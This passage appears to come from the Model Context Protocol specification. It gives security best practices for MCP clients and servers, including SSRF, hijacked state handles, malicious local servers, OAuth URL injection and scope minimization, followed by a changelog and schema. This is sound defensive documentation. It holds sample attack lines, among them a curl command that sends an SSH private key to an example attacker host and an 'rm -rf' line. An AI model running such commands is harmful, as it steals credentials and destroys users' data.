- **Direct internal IP access:** URLs like `http://192.168.1.1/admin` or `http://10.0.0.1/api` target internal network services
- **Cloud metadata endpoints:** URLs targeting `http://169.254.169.254/` (AWS/GCP/Azure metadata service) can exfiltrate cloud credentials and instance information
- **Localhost services:** URLs like `http://localhost:6379/` can interact with local services (Redis, databases, admin panels)
- **DNS rebinding:** Domains that change DNS resolution between validation and use (e.g., `https://attacker.com` resolving to a safe IP initially, then to `192.168.1.1`)
- **Redirect chains:** Normal-looking URLs that redirect to internal resources

```
sequenceDiagram
    participant Client as MCP Client
    participant MCP as Malicious MCP Server
    participant Internal as Internal Service

    Client->>MCP: Connect to MCP server
```

```
MCP-->>Client: 401 + resource_metadata="http://169.254.169.254/..."
```

Note over Client: Client follows URL without validation

```
Client->>Internal: GET http://169.254.169.254/latest/meta-data/
```

```
Internal-->>Client: Cloud credentials/metadata
```

Note over Client: Error or response details leak to attacker

Client->>MCP: Subsequent request with error details

Risks

- **Credential exfiltration:** Cloud metadata endpoints often expose IAM credentials, API keys, and other secrets
- **Internal network reconnaissance:** Error messages reveal information about internal network topology and services
- **Service interaction:** POST requests (e.g., to token endpoints) can trigger mutations on internal services
- **Firewall bypass:** The MCP client acts as a proxy, bypassing network perimeter controls
- **Data exfiltration:** Internal service responses may be reflected back to attackers through error messages or OAuth flows

Mitigation

MCP clients deployed to a server **MUST** consider SSRF risks and implement appropriate mitigations when fetching OAuth-related URLs. Which protections are appropriate depend on your network environment.

Enforce HTTPS

MCP clients **SHOULD** require HTTPS for all OAuth-related URLs in production environments:

- Reject `http://` URLs except for loopback addresses (`localhost` , `127.0.0.1` , `::1`) during development
- This aligns with [OAuth 2.1 Section 1.5](#) which requires HTTPS for all OAuth protocol URLs except loopback redirect URIs
- Provide an explicit opt-out mechanism for development/testing scenarios

Block Private IP Ranges

MCP clients **SHOULD** block requests to private and reserved IP address ranges as recommended by [RFC 9728 Section 7.7](#):

- Private IPv4 ranges: `10.0.0.0/8` , `172.16.0.0/12` , `192.168.0.0/16`
- Loopback: `127.0.0.0/8` , `::1` (except when explicitly allowed for development)
- Link-local: `169.254.0.0/16` (including cloud metadata endpoints)
- Private IPv6 ranges: `fc00::/7` , `fe80::/10`

참고

Avoid implementing IP validation manually. Attackers exploit encoding tricks (octal, hex, IPv4-mapped IPv6) that custom parsers often miss.

Validate Redirect Targets

MCP clients **SHOULD** apply the same URL validation to redirect targets:

- Do not blindly follow redirects to internal resources
- Apply HTTPS and IP range restrictions to redirect destinations
- Consider disabling automatic redirect following and validating each hop

Use Egress Proxies

For server-side MCP client deployments, operators **SHOULD** consider using an egress proxy that enforces network policies:

- Route OAuth discovery requests through a proxy that blocks internal destinations
- Use tools like [Smokescreen](#) or similar egress proxies that prevent SSRF by design
- Configure network policies to restrict the MCP client's outbound access

DNS Resolution Considerations

Be aware of Time-of-Check to Time-of-Use (TOCTOU) issues with DNS-based validation:

- An attacker's domain may resolve to a safe IP during validation but to an internal IP during the actual request
- Consider pinning DNS resolution results between check and use
- Defense in depth: combine DNS checks with other mitigations

SSRF Against Authorization Servers

SSRF risks are not limited to MCP clients. When an authorization server supports [Client ID Metadata Documents](#), the authorization server takes a URL as input from an unknown client and fetches that URL. A malicious client could use this to trigger the authorization server to make requests to arbitrary URLs, such as requests to private administration endpoints the authorization server has access to.

The mitigations described above, such as blocking private IP ranges and using egress proxies, apply equally to authorization servers fetching client metadata documents. See [Server Side Request Forgery \(SSRF\) Attacks](#) in the Client ID Metadata Document specification for further guidance.

Resources and Tools

The following resources can help developers implement SSRF protections in MCP clients.

Reference Documentation

- [OWASP SSRF Prevention Cheat Sheet](#): Comprehensive guidance on SSRF prevention techniques, including input validation, allowlist strategies, and network-level controls
- [OWASP Top 10 A10:2021 - SSRF](#): SSRF in the context of the most critical web application security risks

State Handle Hijacking

MCP is [stateless](#) and has no protocol-level sessions. Servers that need state spanning multiple requests mint an explicit handle, such as a shopping cart ID or a workflow ID, and receive it back as an ordinary tool argument on each request. State handle hijacking is an attack vector where an unauthorized party obtains or guesses such a handle and uses it to access or modify another user's state.

Attack Description

1. The MCP server mints a state handle for an authenticated user and returns it in a tool result.
2. The attacker obtains or guesses the handle.
3. The attacker calls the MCP server's tools with the handle as an argument.
4. The MCP server does not check whether the handle belongs to the caller and operates on the original user's state, allowing unauthorized access or actions.

Mitigation

MCP servers that implement authorization **MUST** verify all inbound requests. MCP servers **MUST NOT** treat possession of a state handle as authentication.

MCP servers **SHOULD** use secure, non-deterministic handles generated with secure random number generators. Avoid predictable or sequential identifiers that could be guessed by an attacker. Expiring handles can also reduce the risk.

MCP servers **SHOULD** bind handles server-side to the authenticated user, for example by keying stored state as `<user_id>:<handle>` where the user ID is derived from the verified token rather than supplied by the client, and reject a handle presented by any other principal. This ensures that even if an attacker guesses a handle, they cannot impersonate another user.

For guidance on securing the server-assigned session IDs used by protocol version `2025-11-25` and earlier, see [Session Hijacking in the 2025-11-25 version of this page](#).

Local MCP Server Compromise

Local MCP servers are MCP Servers running on a user's local machine, either by the user downloading and executing a server, authoring a server themselves, or installing through a client's configuration flows. These servers may have direct access to the user's system and may be

accessible to other processes running on the user's machine, making them attractive targets for attacks.

Attack Description

Local MCP servers are binaries that are downloaded and executed on the same machine as the MCP client. Without proper sandboxing and consent requirements in place, the following attacks become possible:

1. An attacker includes a malicious "startup" command in a client configuration
2. An attacker distributes a malicious payload inside the server itself
3. An attacker accesses an insecure local server that's left running on localhost via DNS rebinding

Example malicious startup commands that could be embedded:

```
# Data exfiltration
npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location

# Privilege escalation
sudo rm -rf /important/system/files && echo "MCP server installed!"
```

Risks

Local MCP servers with inadequate restrictions or from untrusted sources introduce several critical security risks:

- **Arbitrary code execution.** Attackers can execute any command with MCP client privileges.
- **No visibility.** Users have no insight into what commands are being executed.
- **Command obfuscation.** Malicious actors can use complex or convoluted commands to appear legitimate.
- **Data exfiltration.** Attackers can access legitimate local MCP servers via compromised JavaScript.
- **Data loss.** Attackers or bugs in legitimate servers could lead to irrecoverable data loss on the host machine.

Mitigation

If an MCP client supports one-click local MCP server configuration, it **MUST** implement proper consent mechanisms prior to executing commands.

Pre-Configuration Consent

Display a clear consent dialog before connecting a new local MCP server via one-click configuration. The MCP client **MUST**:

- Show the exact command that will be executed, without truncation (include arguments and parameters)
- Clearly identify it as a potentially dangerous operation that executes code on the user's system
- Require explicit user approval before proceeding
- Allow users to cancel the configuration

The MCP client **SHOULD** implement additional checks and guardrails to mitigate potential code execution attack vectors:

- Highlight potentially dangerous command patterns (e.g., commands containing `sudo`, `rm -rf`, network operations, file system access outside expected directories)
- Display warnings for commands that access sensitive locations (home directory, SSH keys, system directories)
- Warn that MCP servers run with the same privileges as the client
- Execute MCP server commands in a sandboxed environment with minimal default privileges
- Launch MCP servers with restricted access to the file system, network, and other system resources
- Provide mechanisms for users to explicitly grant additional privileges (e.g., specific directory access, network access) when needed
- Use platform-appropriate sandboxing technologies (containers, chroot, application sandboxes, etc.)
- Keep sandboxing solutions up-to-date to account for emerging vulnerabilities

MCP servers intending for their servers to be run locally **SHOULD** implement measures to prevent unauthorized usage from malicious processes:

- Use the `stdio` transport to limit access to just the MCP client
- Restrict access if using an HTTP transport, such as:
- Require an authorization token
- Use unix domain sockets or other Interprocess Communication (IPC) mechanisms with restricted access

OAuth Authorization URL Validation

OAuth authorization URLs provided by malicious MCP servers can exploit client-side URL handling vulnerabilities, leading to Cross-Site Scripting (XSS) attacks and Remote Code Execution (RCE).

Attack Description

During the OAuth authorization flow, MCP servers provide authorization URLs that clients open in browsers or handle programmatically. Malicious servers can exploit insufficient URL validation in MCP clients through the following attack vectors:

JavaScript URL Injection (XSS)

1. A malicious MCP server provides a `javascript:` URL as the authorization endpoint
2. The MCP client passes this URL directly to `window.open()` or similar browser APIs
3. The browser executes the JavaScript code embedded in the URL
4. The attacker gains JavaScript execution context within the client application, potentially leading to session hijacking, credential theft, or further exploitation

Command Injection via Shell Execution

1. A malicious MCP server provides a URL containing shell command injection payloads
2. The MCP client uses shell commands (e.g., `cmd.exe`, PowerShell, or shell scripts) to open the URL
3. The shell interprets parts of the URL as additional commands to execute
4. The attacker achieves arbitrary code execution on the user's system

stdio Transport Privilege Escalation

When XSS vulnerabilities are combined with `stdio` transport capabilities, attackers can escalate web-based attacks to full system compromise. See [stdio Transport Security in Proxy Scenarios](#) for detailed attack vectors and mitigations.

```
sequenceDiagram
    participant MaliciousMCP as Malicious MCP Server
    participant Client as MCP Client
    participant Proxy as MCP Proxy
    participant System as Host System

    MaliciousMCP->>Client: Malicious authorization URL (javascript:)
    Client->>Client: Execute JavaScript (XSS)
    Client->>Client: Extract proxy auth token
    Client->>Proxy: Malicious stdio command request
    Note over Client,Proxy: Using stolen authentication token
    Proxy->>System: Execute arbitrary command
    System-->>Proxy: Command output
    Proxy-->>Client: Command result
    Client-->>MaliciousMCP: Exfiltrate data/establish persistence
```

Risks

OAuth authorization URL vulnerabilities introduce several critical security risks:

- **Cross-Site Scripting (XSS).** Malicious JavaScript execution can lead to session hijacking, credential theft, and unauthorized actions within the client application.
- **Remote Code Execution (RCE).** Command injection through shell execution allows attackers to run arbitrary code with user privileges.
- **Privilege Escalation.** XSS combined with `stdio` transport can escalate web-based attacks to full system compromise.

- **Data Exfiltration.** Attackers can access sensitive data, configuration files, and credentials stored on the user's system.
- **Persistence.** Attackers can install malware, create backdoors, or modify system configurations for persistent access.

Mitigation

URL Scheme Validation

MCP clients **MUST** validate authorization URLs and reject dangerous schemes:

- **MUST** only allow `http://` and `https://` schemes for authorization URLs. The `http://` scheme is acceptable only for loopback addresses (such as `localhost`, `127.0.0.1`, or `::1`) during local development; authorization servers in production **MUST** use `https://`.
- **MUST** reject `javascript:`, `data:`, `file:`, `vbscript:`, and other potentially dangerous schemes
- **SHOULD** use allowlist-based validation rather than blocklist-based approaches

Secure URL Opening

MCP clients **MUST** avoid shell execution when opening URLs:

- **MUST NOT** use shell commands (e.g., `cmd.exe`, `sh`, PowerShell) to open URLs
- **SHOULD** use platform-specific, non-shell URL opening mechanisms

Content Security Policy (CSP)

Web-based MCP clients **SHOULD** implement Content Security Policy headers to prevent JavaScript execution:

- Set `script-src 'self'` to prevent execution of inline JavaScript
- Use `default-src 'self'` to restrict resource loading
- Consider `script-src 'nonce-<random>'` for dynamic content that requires inline scripts

Input Sanitization

MCP clients **MUST** sanitize and validate all URLs received from MCP servers:

- Implement strict URL parsing and validation
- Reject URLs with special characters that could be interpreted by shells
- Consider using dedicated URL sanitization libraries
- Log suspicious authorization URLs for security monitoring

stdio Transport Security in Proxy Scenarios

The `stdio` transport itself is not inherently vulnerable. However, in proxy architectures where a separate proxy service manages `stdio` connections and can spawn MCP servers as child processes, it can provide a critical escalation path from web-based attacks to full system compromise.

Attack Description

Important: This attack vector only applies to MCP implementations that use a proxy architecture, not to direct `stdio` transport usage.

In proxy-based MCP implementations, a local proxy service sits between the client and MCP servers, spawning servers as child processes via the `stdio` transport. This architecture creates a privileged escalation path when combined with client-side vulnerabilities:

1. Attacker achieves XSS or other client-side code execution (e.g., through OAuth URL vulnerabilities)
2. Using the attack vector above, the malicious actor accesses the MCP proxy authentication token established between the client and the proxy from the client's environment
3. Malicious actor makes authenticated requests to the local MCP proxy service
4. Proxy spawns arbitrary commands via the `stdio` transport (believing they are legitimate MCP server commands)
5. Attacker achieves Remote Code Execution with user privileges

Risks

- **Privilege Escalation.** Web-based vulnerabilities (XSS) can escalate to arbitrary code execution on the host system through proxy command execution
- **Authentication Bypass.** Stolen proxy authentication tokens allow unauthorized access to `stdio` process spawning capabilities
- **System Compromise.** Attackers can execute any command that the MCP proxy process has privileges to run

Mitigation

The primary defense is to prevent classes of vulnerabilities that enable this attack vector:

- Implement the mitigations described in [OAuth Authorization URL Validation](#)
- Use Content Security Policy (CSP) to prevent JavaScript execution from untrusted sources
- Validate and sanitize all input from MCP servers before processing

Since XSS fundamentally compromises the client's security context, focus on limiting the damage:

`stdio` Transport Restrictions

MCP proxy services **SHOULD** implement additional security controls for `stdio` transport:

- Implement sandboxing or containerization for spawned processes
- Restrict file system access for spawned MCP servers
- Log all `stdio` transport usage for security monitoring
- Require additional authorization for potentially dangerous commands

Client-Side Protections

MCP clients **SHOULD** implement defense-in-depth measures:

- Isolate proxy communication in a separate security context when possible
- Use principle of least privilege for proxy process permissions
- Implement process-level sandboxing for the proxy service itself
- Consider running the proxy in a container or restricted environment

Mix-Up Attacks

Attack Description

An MCP client typically interacts with many authorization servers over its lifetime. An attacker that controls one of those authorization servers may attempt to have the client send it an authorization code or token issued by a different, honest authorization server (a mix-up attack, described in [RFC9207 Section 1](#)).

Mitigation

[Authorization Response Validation](#) mitigates this by binding the response to the authorization server the client recorded before redirecting, so the authorization code cannot be redeemed at an unintended token endpoint. PKCE alone does not prevent this attack because the client transmits the `code_verifier` to the attacker's token endpoint. Resource indicators do not help when the attacker's authorization server is intercepting requests before they hit the honest authorization server. This mitigation depends on honest authorization servers emitting `iss`; it provides no protection against an honest server that does not.

Localhost Redirect URI Impersonation

Native and locally-running MCP clients commonly use `localhost` redirect URIs. When clients identify themselves with [Client ID Metadata Documents](#), the metadata document proves control of a domain, but it cannot prove which local process is listening on a `localhost` redirect URI.

Attack Description

An attacker can claim to be any client by:

1. Providing the legitimate client's metadata URL as their `client_id`
2. Binding to any `localhost` port, and providing that address as the `redirect_uri`
3. Receiving the authorization code via the redirect when the user approves

The server will see the legitimate client's metadata document and the user will see the legitimate client's name, making attack detection difficult.

Mitigation

See [Localhost Redirect URI Risks](#) in the authorization specification for the countermeasures expected of authorization servers, including displaying additional warnings for `localhost`-only redirect URIs and clearly displaying the redirect URI hostname during authorization.

CIMD Trust Policies

Authorization servers that accept [Client ID Metadata Documents](#) can apply domain-based trust policies to decide which URL-based client IDs to accept:

- Allowlists for trusted domains (for protected servers)
- Accept any HTTPS `client_id` (for open servers)
- Reputation checks for unknown domains
- Restrictions based on domain age or certificate validation
- Display the CIMD and other associated client hostnames prominently to prevent phishing

Servers maintain full control over their access policies. See [Trust Policies](#) in the authorization specification, along with [Section 6.4](#) and [Section 6.8](#) of the Client ID Metadata Document specification, for more details.

Scope Minimization

Poor scope design increases token compromise impact, elevates user friction, and obscures audit trails.

Attack Description

An attacker obtains (via log leakage, memory scraping, or local interception) an access token carrying broad scopes (`files:*`, `db:*`, `admin:*`) that were granted up front because the MCP server exposed every scope in `scopes_supported` and the client requested them all. The token enables lateral data access, privilege chaining, and difficult revocation without re-consenting the entire surface.

Risks

- Expanded blast radius: stolen broad token enables unrelated tool/resource access
- Higher friction on revocation: revoking a max-privilege token disrupts all workflows
- Audit noise: single omnibus scope masks user intent per operation
- Privilege chaining: attacker can immediately invoke high-risk tools without further elevation prompts
- Consent abandonment: users decline dialogs listing excessive scopes
- Scope inflation blindness: lack of metrics makes over-broad requests normalised

Mitigation

Implement a progressive, least-privilege scope model:

- Minimal initial scope set (e.g., `mcp:tools-basic`) containing only low-risk discovery/read operations
- Incremental elevation via targeted `WWW-Authenticate scope="..."` challenges when privileged operations are first attempted
- Down-scoping tolerance: server should accept reduced scope tokens; auth server MAY issue a subset of requested scopes

Server guidance:

- Emit precise scope challenges; avoid returning the full catalog
- Log elevation events (scope requested, granted subset) with correlation IDs

Servers have flexibility in determining which scopes to include:

- **Minimum approach:** Include only the scopes required for the specific operation that triggered the error.
- **Recommended approach:** Include the scopes required for the current operation along with related scopes that commonly work together, to reduce the number of step-up authorization rounds.
- **Extended approach:** Include the scopes required for the current operation, related scopes, and any other scopes the server anticipates the client may need in the near future.

The choice depends on the server's assessment of user experience impact and authorization friction.

Client guidance:

- Begin with only baseline scopes (or those specified by initial `WWW-Authenticate`)
- Cache recent failures to avoid repeated elevation loops for denied scopes

When the initial `WWW-Authenticate` challenge carries no `scope` parameter, the [Scope Selection Strategy](#) directs clients to fall back to requesting all scopes listed in `scopes_supported`. This approach accommodates the general-purpose nature of MCP clients, which typically lack domain-specific knowledge to make informed decisions about individual scope selection. Requesting all available scopes allows the authorization server and end-user to determine appropriate permissions during the consent process, minimizing user friction while following the principle of least privilege.

참고

Scope accumulation across operations is a client-side responsibility. Clients **SHOULD** compute the union of previously requested scopes and newly challenged scopes when initiating re-authorization, as described in [Step-Up Authorization Flow](#). This allows servers to remain

stateless with respect to client scope sets while ensuring clients do not lose previously granted permissions.

참고

Hierarchical scopes: Some authorization servers define scope hierarchies where a broader scope implies narrower ones (for example, an `admin` scope that subsumes `read`). When accumulating scopes, the client's union may contain semantically redundant entries. For example, a token previously granted a broad scope may be challenged with a narrower one it already implies. Clients need not deduplicate hierarchically; authorization servers typically normalize such redundancy during token issuance. Servers, for their part, must account for hierarchy when deciding whether a token is sufficient for an operation, but this does not affect the scopes they emit in a challenge.

Common Mistakes

- Publishing all possible scopes in `scopes_supported`
- Using wildcard or omnibus scopes (`*`, `all`, `full-access`)
- Bundling unrelated privileges to preempt future prompts
- Returning entire scope catalog in every challenge
- Silent scope semantic changes without versioning
- Treating claimed scopes in token as sufficient without server-side authorization logic

Proper minimization constrains compromise impact, improves audit clarity, and reduces consent churn.

mcp / specification/2026-07-28

Key Changes

mcp/specification/2026-07-28/changelog.mdx

This document lists changes made to the Model Context Protocol (MCP) specification since the previous revision, [2025-11-25](#).

Major changes

1. Remove protocol-level sessions and the `Mcp-Session-Id` header from the Streamable HTTP transport. List endpoints (`tools/list`, `resources/list`, `prompts/list`) no longer vary per-connection. Servers that need cross-call state use explicit, server-minted handles passed as ordinary tool arguments ([SEP-2567](#)).
2. Make MCP stateless: remove the `initialize/notifications/initialized` handshake. Every request now carries its protocol version and client capabilities in `_meta` (`io.modelcontextprotocol/protocolVersion`, `io.modelcontextprotocol/clientCapabilities`). Clients SHOULD identify themselves on each request (`io.modelcontextprotocol/clientInfo`), and servers SHOULD identify themselves in each result's `_meta` (`io.modelcontextprotocol/serverInfo`). Version mismatches return `UnsupportedProtocolVersionError` ([SEP-2575](#)).
3. Add `server/discover`: servers MUST implement this RPC to advertise their supported protocol versions, capabilities, and identity. Clients MAY call it before any other request for up-front version selection, or use it as a backward-compatibility probe on STDIO ([SEP-2575](#)).
4. Replace the HTTP GET endpoint and `resources/subscribe/resources/unsubscribe` with `subscriptions/listen`: a single long-lived POST-response stream for opted-in server-to-client change notifications. Clients opt in to specific types (`toolsListChanged`, `promptsListChanged`, `resourcesListChanged`, `resourceSubscriptions`); the server acknowledges and tags notifications with `io.modelcontextprotocol/subscriptionId`. Request-scoped notifications such as `notifications/progress` and `notifications/message` continue to flow on the response stream of the request they relate to, not the `subscriptions/listen` stream ([SEP-2575](#)).
5. Remove `ping`, `logging/setLevel`, and `notifications/roots/list_changed`. Log level is now set per-request via `io.modelcontextprotocol/logLevel` in `_meta`; servers MUST NOT emit `notifications/message` for requests that did not include this field ([SEP-2575](#)).
6. Move experimental tasks out of the core protocol and into an official extension (`io.modelcontextprotocol/tasks`). The redesigned extension replaces the blocking `tasks/result` method with polling via `tasks/get` and a new `tasks/update` for client-to-server input, removes `tasks/list`, and allows servers to return task handles unsolicited without per-request opt-in ([SEP-2663](#)).

7. Multi Round-Trip Requests (MRTR) pattern introduced which replaces the previous approach of sending server-initiated requests, such as `roots/list`, `sampling/createMessage`, or `elicitation/create`. Servers return an `InputRequiredResult` (`resultType: "input_required"`) whose `inputRequests` field carries the requests for the additional information needed to process the request. Clients respond with `inputResponses` on a retry of the original request providing the requested information. ([SEP-2322](#)).
8. All results now carry a required `resultType` field: `"complete"` for ordinary results and `"input_required"` for [multi round-trip request](#) interim results. Clients **MUST** treat results from earlier-protocol servers that omit the field as `"complete"` ([SEP-2322](#)).
9. Remove SSE stream resumability and message redelivery (the `Last-Event-ID` header and SSE event IDs) from the Streamable HTTP transport. A broken response stream loses the in-flight request; clients **MUST** re-issue it as a new request with a new request ID ([SEP-2575](#)).

Minor changes

1. Add `extensions` field to `ClientCapabilities` and `ServerCapabilities` to support optional [extensions](#) beyond the core protocol.
2. Document OpenTelemetry trace context propagation conventions for `_meta` keys (`traceparent`, `tracestate`, `baggage`) ([SEP-414](#)).
3. Servers **SHOULD** return tools from `tools/list` in a deterministic order to enable client-side caching and improve LLM prompt cache hit rates.
4. Require standard MCP request headers (`Mcp-Method`, `Mcp-Name`) on Streamable HTTP POST requests, and add support for custom headers from tool parameters via `x-mcp-header` ([SEP-2243](#)).
5. Require `ttlMs` and `cacheScope` fields on results returned by `tools/list`, `prompts/list`, `resources/list`, `resources/read`, and `resources/templates/list` via a new `CacheableResult` interface. `ttlMs` is a freshness hint (in milliseconds) allowing clients to cache responses and reduce polling; `cacheScope` (`"public"` or `"private"`) controls whether shared intermediaries may cache the response. Both fields complement existing `listChanged` notifications ([SEP-2549](#)).
6. Change resource not found error code from `-32002` to `-32602` (Invalid Params) to align with JSON-RPC specification.
7. Authorization servers **SHOULD** include the `iss` parameter in authorization responses per [RFC 9207](#), and MCP clients **MUST** validate a present `iss` against the recorded issuer before redeeming the authorization code ([SEP-2468](#)).
8. Require MCP clients to specify an appropriate `application_type` during Dynamic Client Registration to avoid OpenID Connect redirect URI conflicts ([SEP-837](#)).
9. Clarify that client credentials are bound to the authorization server that issued them: clients **MUST** key persisted credentials by the issuer identifier, **MUST NOT** reuse them with a different authorization server, and **MUST** re-register when the authorization server changes ([SEP-2352](#)).

10. Loosen `inputSchema` and `outputSchema` to allow any JSON Schema 2020-12 keywords, and `structuredContent` to allow any JSON value. Add `$ref` resolution requirements and composition-keyword resource bounds ([SEP-2106](#)).
11. Remove the `notifications/elicitation/complete` notification and the `elicitationId` field of URL mode elicitation requests, both introduced in `2025-11-25`. Under the [Multi Round-Trip Requests](#) pattern, the client learns the outcome of an out-of-band interaction by retrying the original request, so a server-initiated completion signal — and the identifier used to correlate it — no longer fit the protocol. Servers needing to correlate an elicitation across retries encode their own identifier in `requestState`.
12. Define an [error code allocation policy](#) partitioning the JSON-RPC server-error range: `-32000` to `-32019` remains implementation-defined (existing SDK usage is grandfathered), `-32020` to `-32099` is reserved for the MCP specification. Renumber the error codes introduced in this draft accordingly — `HeaderMismatch -32001` → `-32020`, `MissingRequiredClientCapability -32003` → `-32021`, `UnsupportedProtocolVersion -32004` → `-32022` — and add `HeaderMismatchError` to the schema, which previously existed only in transport prose.

Deprecated

Features listed here remain part of the specification but are scheduled for removal under the [feature lifecycle and deprecation policy](#). New implementations should not adopt them. The [deprecated features registry](#) tracks every feature currently in the Deprecated state.

1. Deprecate the Roots, Sampling, and Logging features ([SEP-2577](#)). These features remain fully functional during the deprecation window but new implementations should not add support for them. Suggested migrations: pass directories or files via tool parameters, resource URIs, or server configuration instead of Roots; integrate directly with LLM provider APIs instead of Sampling; log to `stderr` (stdio) or use OpenTelemetry instead of Logging.
2. Reclassify the HTTP+SSE transport (deprecated since protocol version `2025-03-26`) as Deprecated under the feature lifecycle policy ([SEP-2596](#)). Migrate to [Streamable HTTP](#).
3. Reclassify the `includeContext` values `"thisServer"` and `"allServers"` (soft-deprecated since protocol version `2025-11-25`) as Deprecated ([SEP-2596](#)). Omit the field or use `"none"`; these values will be removed no later than the Sampling feature itself.
4. Deprecate the OAuth 2.0 Dynamic Client Registration Protocol ([RFC7591](#)) as a client registration mechanism in favor of [Client ID Metadata Documents](#) ([PR #2858](#)). It remains available for backwards compatibility with authorization servers that do not support Client ID Metadata Documents.

Other schema changes

1. `schema.json` now correctly reflects that the Typescript definition of `minimum/maximum/default` are `number`'s and not just `integers`. This was caused by running

the generator using `--defaultNumberType integer` ([PR#2710](#)).

Governance and process updates

1. Adopt a specification [feature lifecycle and deprecation policy](#) defining the Active, Deprecated, and Removed feature states, a minimum twelve-month deprecation window, and a [registry of deprecated features](#) ([SEP-2596](#)).

Process changes

1. Formalize PR-based SEP workflow with markdown files in `seps/` directory, PR-derived numbering, sponsor responsibilities, and status management via PR labels ([SEP-1850](#)).

Full changelog

For a complete list of all changes that have been made since the last protocol revision, [see GitHub](#).

Deprecated Features

mcp/specification/2026-07-28/deprecated.mdx

This page is the registry of specification features that are currently in the **Deprecated** state under the [feature lifecycle and deprecation policy](#) (SEP-2596).

A Deprecated feature remains part of the specification but is scheduled for removal: new implementations **SHOULD NOT** adopt it, and existing implementations **SHOULD** migrate before the feature's earliest removal. The earliest removal marks when a feature becomes *eligible* for removal; the actual removal is a Core Maintainer decision taken during release preparation and may happen later.

This registry is a derived view kept consistent with the per-feature deprecation notices and changelog entries, which are the normative records.

Deprecated

Feature	Deprecation SEP	Deprecated in	Migration path	Earliest removal
Roots	SEP-2577	2026-07-28	Pass directories or files via tool parameters, resource URLs, or server configuration	First revision released on or after 2027-07-28
Sampling	SEP-2577	2026-07-28	Integrate directly with LLM provider APIs	First revision released on or after 2027-07-28
Logging	SEP-2577	2026-07-28	Log to <code>stderr</code> for stdio transports; use OpenTelemetry for observability	First revision released on or after 2027-07-28
Dynamic Client Registration	PR #2858	2026-07-28	Client ID Metadata Documents	First revision released on or after 2027-07-28
<code>includeContext:</code> <code>"thisServer"</code> / <code>"allServers"</code> (Sampling)	SEP-2596	2025-11-25	Omit the field or use <code>"none"</code>	Follows Sampling (SEP-2577)
HTTP+SSE transport	SEP-2596	2025-03-26	Streamable HTTP	Three months after SEP-2596 reaches Final

The HTTP+SSE transport and the `includeContext` values were already described as deprecated before the lifecycle policy existed; SEP-2596 reclassifies them as Deprecated under its [transition](#)

[provisions](#).

Removed

No features have been removed under this policy yet. When a Deprecated feature is removed, its row moves to this section with a link to the changelog entry recording the removal.

Specification

mcp/specification/2026-07-28/index.mdx

[Model Context Protocol](#) (MCP) is an open protocol that enables seamless integration between LLM applications and external data sources and tools. Whether you're building an AI-powered IDE, enhancing a chat interface, or creating custom AI workflows, MCP provides a standardized way to connect LLMs with the context they need.

This specification defines the authoritative protocol requirements, based on the TypeScript schema in [schema.ts](#).

For implementation guides and examples, visit [modelcontextprotocol.io](#).

The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "NOT RECOMMENDED", "MAY", and "OPTIONAL" in this document are to be interpreted as described in [BCP 14](#) [[RFC2119](#)] [[RFC8174](#)] when, and only when, they appear in all capitals, as shown here.

Overview

MCP provides a standardized way for applications to:

- Share contextual information with language models
- Expose tools and capabilities to AI systems
- Build composable integrations and workflows

The protocol uses [JSON-RPC](#) 2.0 messages to establish communication between:

- **Hosts:** LLM applications that initiate connections
- **Clients:** Connectors within the host application
- **Servers:** Services that provide context and capabilities

MCP takes some inspiration from the [Language Server Protocol](#), which standardizes how to add support for programming languages across a whole ecosystem of development tools. In a similar way, MCP standardizes how to integrate additional context and tools into the ecosystem of AI applications.

Key Details

Base Protocol

- [JSON-RPC](#) message format
- Stateless, self-contained requests
- Per-request capability negotiation

Features

Servers offer any of the following features to clients:

- **Resources:** Context and data, for the user or the AI model to use
- **Prompts:** Templated messages and workflows for users
- **Tools:** Functions for the AI model to execute

Clients may offer the following features to servers:

- **Elicitation:** Server-initiated requests for additional information from users

Additional Utilities

- Configuration
- Progress tracking
- Cancellation
- Error reporting

Extensions

Beyond the core protocol, MCP defines optional [extensions](#) that add modular, specialized, or experimental functionality. Extensions are always opt-in and require explicit support from both client and server, negotiated during initialization. Notable extensions include:

- [Tasks](#): Asynchronous execution of long-running operations, with polling, mid-flight input, and durable handles
- [Skills over MCP](#): Rich, structured instructions for agent workflows, discovered and consumed through MCP
- [MCP Apps](#): Interactive UI elements (charts, forms, video players) rendered inline within conversations

Security and Trust & Safety

The Model Context Protocol enables powerful capabilities through arbitrary data access and code execution paths. With this power comes important security and trust considerations that all implementors must carefully address.

Key Principles

1. **User Consent and Control** - Users must explicitly consent to and understand all data access and operations - Users must retain control over what data is shared and what actions are taken - Implementors should provide clear UIs for reviewing and authorizing activities
2. **Data Privacy** - Hosts must obtain explicit user consent before exposing user data to servers - Hosts must not transmit resource data elsewhere without user consent - User data should be

protected with appropriate access controls

3. **Tool Safety** - Tools represent arbitrary code execution and must be treated with appropriate caution.

- In particular, descriptions of tool behavior such as annotations should be considered untrusted, unless obtained from a trusted server.
- Hosts must obtain explicit user consent before invoking any tool
- Users should understand what each tool does before authorizing its use

Implementation Guidelines

While MCP itself cannot enforce these security principles at the protocol level, implementors **SHOULD**:

1. Build robust consent and authorization flows into their applications
2. Provide clear documentation of security implications
3. Implement appropriate access controls and data protections
4. Follow security best practices in their integrations
5. Consider privacy implications in their feature designs

Learn More

Explore the detailed specification for each protocol component:

[Architecture](#)

[Base Protocol](#)

[Server Features](#)

[Client Features](#)

[Contributing](#)

Schema Reference

mcp/specification/2026-07-28/schema.mdx

JSON-RPC

```
### `JSONRPCErrorResponse`  
interface JSONRPCErrorResponse {  
  jsonrpc: "2.0";  
  id?: RequestId;  
  error: Error;  
}
```

A response to a request that indicates an error occurred.

jsonrpc: "2.0"

id?: RequestId

error: Error

`JSONRPCMessage`

JSONRPCMessage: [JSONRPCRequest](#) | [JSONRPCNotification](#) | [JSONRPCResponse](#)

Refers to any valid JSON-RPC object that can be decoded off the wire, or encoded to be sent.

`JSONRPCNotification`

```
interface JSONRPCNotification {  
  method: string;  
  params?: { [key: string]: any };  
  jsonrpc: "2.0";  
}
```

A notification which does not expect a response.

method: string

Inherited from Notification.method

params?: { [key: string]: any }

Inherited from Notification.params

jsonrpc: "2.0"

```
### `JSONRPCRequest`  
interface JSONRPCRequest {  
  method: string;  
  params?: { [key: string]: any };  
  jsonrpc: "2.0";  
  id: RequestId;  
}
```

A request that expects a response.

method: string

Inherited from Request.method

params?: { [key: string]: any }

Inherited from Request.params

jsonrpc: "2.0"

id: RequestId

```
### `JSONRPCResponse`  
